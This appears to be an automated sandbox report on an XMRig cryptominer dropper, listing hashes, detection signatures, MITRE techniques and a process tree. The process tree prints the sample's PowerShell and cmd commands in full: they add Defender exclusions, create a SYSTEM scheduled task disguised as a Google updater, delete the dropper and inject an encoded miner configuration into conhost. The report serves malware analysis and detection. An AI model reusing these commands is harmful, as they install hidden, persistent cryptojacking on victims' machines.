xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
311s
max time network
1799s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1740 created 1224	1740	LM3BR4UBmKBzBP5H.exe	15
PID 1740 created 1224	1740	LM3BR4UBmKBzBP5H.exe	15
PID 1740 created 1224	1740	LM3BR4UBmKBzBP5H.exe	15
PID 1740 created 1224	1740	LM3BR4UBmKBzBP5H.exe	15
PID 2904 created 1224	2904	updater.exe	15
PID 2904 created 1224	2904	updater.exe	15
PID 2904 created 1224	2904	updater.exe	15
PID 2904 created 1224	2904	updater.exe	15
PID 572 created 1224	572	conhost.exe	15
PID 2904 created 1224	2904	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral17/memory/1560-64-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1560-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2568	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2904	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1932	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral17/memory/1560-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1560-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 572	2904	updater.exe	50
PID 2904 set thread context of 1560	2904	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2756	schtasks.exe
660	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1720	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50874f523151da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1740	LM3BR4UBmKBzBP5H.exe
1740	LM3BR4UBmKBzBP5H.exe
2436	powershell.exe
1740	LM3BR4UBmKBzBP5H.exe
1740	LM3BR4UBmKBzBP5H.exe
2952	powershell.exe
1740	LM3BR4UBmKBzBP5H.exe
1740	LM3BR4UBmKBzBP5H.exe
1740	LM3BR4UBmKBzBP5H.exe
1740	LM3BR4UBmKBzBP5H.exe
2764	powershell.exe
2904	updater.exe
2904	updater.exe
3044	powershell.exe
2904	updater.exe
2904	updater.exe
2140	powershell.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe
572	conhost.exe
572	conhost.exe
2904	updater.exe
2904	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
472	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2904	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1720	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1720	WMIC.exe
Token: SeSecurityPrivilege	1720	WMIC.exe
Token: SeTakeOwnershipPrivilege	1720	WMIC.exe
Token: SeLoadDriverPrivilege	1720	WMIC.exe
Token: SeSystemtimePrivilege	1720	WMIC.exe
Token: SeBackupPrivilege	1720	WMIC.exe
Token: SeRestorePrivilege	1720	WMIC.exe
Token: SeShutdownPrivilege	1720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1720	WMIC.exe
Token: SeUndockPrivilege	1720	WMIC.exe
Token: SeManageVolumePrivilege	1720	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1720	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1720	WMIC.exe
Token: SeSecurityPrivilege	1720	WMIC.exe
Token: SeTakeOwnershipPrivilege	1720	WMIC.exe
Token: SeLoadDriverPrivilege	1720	WMIC.exe
Token: SeSystemtimePrivilege	1720	WMIC.exe
Token: SeBackupPrivilege	1720	WMIC.exe
Token: SeRestorePrivilege	1720	WMIC.exe
Token: SeShutdownPrivilege	1720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1720	WMIC.exe
Token: SeUndockPrivilege	1720	WMIC.exe
Token: SeManageVolumePrivilege	1720	WMIC.exe
Token: SeLockMemoryPrivilege	1560	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 2756	2952	powershell.exe	32
PID 2952 wrote to memory of 2756	2952	powershell.exe	32
PID 2952 wrote to memory of 2756	2952	powershell.exe	32
PID 2568 wrote to memory of 2652	2568	cmd.exe	34
PID 2568 wrote to memory of 2652	2568	cmd.exe	34
PID 2568 wrote to memory of 2652	2568	cmd.exe	34
PID 2764 wrote to memory of 2576	2764	powershell.exe	38
PID 2764 wrote to memory of 2576	2764	powershell.exe	38
PID 2764 wrote to memory of 2576	2764	powershell.exe	38
PID 1932 wrote to memory of 2904	1932	taskeng.exe	40
PID 1932 wrote to memory of 2904	1932	taskeng.exe	40
PID 1932 wrote to memory of 2904	1932	taskeng.exe	40
PID 2140 wrote to memory of 660	2140	powershell.exe	45
PID 2140 wrote to memory of 660	2140	powershell.exe	45
PID 2140 wrote to memory of 660	2140	powershell.exe	45
PID 2904 wrote to memory of 572	2904	updater.exe	50
PID 984 wrote to memory of 1720	984	cmd.exe	51
PID 984 wrote to memory of 1720	984	cmd.exe	51
PID 984 wrote to memory of 1720	984	cmd.exe	51
PID 2904 wrote to memory of 1560	2904	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2756
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:660
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1508
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:572
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1560

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2652

C:\Windows\system32\taskeng.exe
taskeng.exe {1EF8B702-8E46-44F9-9D68-D2225E1409FA} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
321KB

MD5
d766bbb81e5dec4661027d9f4808f194

SHA1
e2fe27435dab127e36e0db968c8e92b127c3fb21

SHA256
605f19657a25bee03db5d7f04f781054a4b2abdb0e8596ca577fe33b2518a0b1

SHA512
01585124d233ae4e0d2d1ded3a39b5a88359523f9c39054c57c4e059f4c71aed2c169ee6e93b69e7c6ac12dc11cb72298ca3f8ea2eba198eab34244d0696a7cf

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.1MB

MD5
dbd78596b811066ff733feefd55b6cbb

SHA1
ec8eb3c3fc7c8e412d045074ce1bd930a3f99643

SHA256
245ae7262cae661b5b99933555d675d6492928b60aae3471c5fbf4ab33046cf3

SHA512
999915e42082776b0b4a561459e8de23c2c1f0d327cece829e537fe5a13b130c6ec521b76bdeed852038bdff129940e4702a3ca232fcfaaf24ac056609d4e839

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YQHRCSHMI2XJS5MQRXO5.temp

Filesize
7KB

MD5
d17c68a9e3ffcb19918589ca38688f92

SHA1
67a87b9494913771c0943425ed9d43fd19f022ce

SHA256
9fca64474c8b54cd40e5682d41aab6cfa086fc838f3cd756863771dd1f191753

SHA512
ee192b19d643df57055182d9ccc29d699220bcddf7ea0709577907f1aed7f3309439ad70b742038a1baa15beee9ddd5820c2f10501c88b0868500e0b20174698

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
187KB

MD5
029f74d2e52f817494f78b17c94ee60a

SHA1
36694178a79a452cc78e9d86f36c40cb9c6356b5

SHA256
5642843af156c58a2034829a5139865dcb506d21889fecbb81838d670a32d65e

SHA512
a76857b435516a4479de215cc57ca519ff66578083b15a2cb2a6c8ab3f3674deef63aa284f52a89a899e72dff37aad58e579117aba07fb2bd45e6a6852e4ffab

Download Submit
memory/572-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/572-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1560-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-63-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/1560-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-80-0x0000000000C90000-0x0000000000CB0000-memory.dmp

Filesize
128KB

Download
memory/1560-79-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1560-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-69-0x0000000000C90000-0x0000000000CB0000-memory.dmp

Filesize
128KB

Download
memory/1560-68-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1560-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1560-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1740-0-0x000000013FCB0000-0x000000013FEC1000-memory.dmp

Filesize
2.1MB

Download
memory/1740-29-0x000000013FCB0000-0x000000013FEC1000-memory.dmp

Filesize
2.1MB

Download
memory/2140-57-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2140-54-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2140-58-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-56-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2140-55-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-53-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2436-10-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2436-5-0x000000001B130000-0x000000001B412000-memory.dmp

Filesize
2.9MB

Download
memory/2436-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2436-7-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2436-8-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2436-13-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2436-9-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2436-11-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2436-12-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2764-37-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-39-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
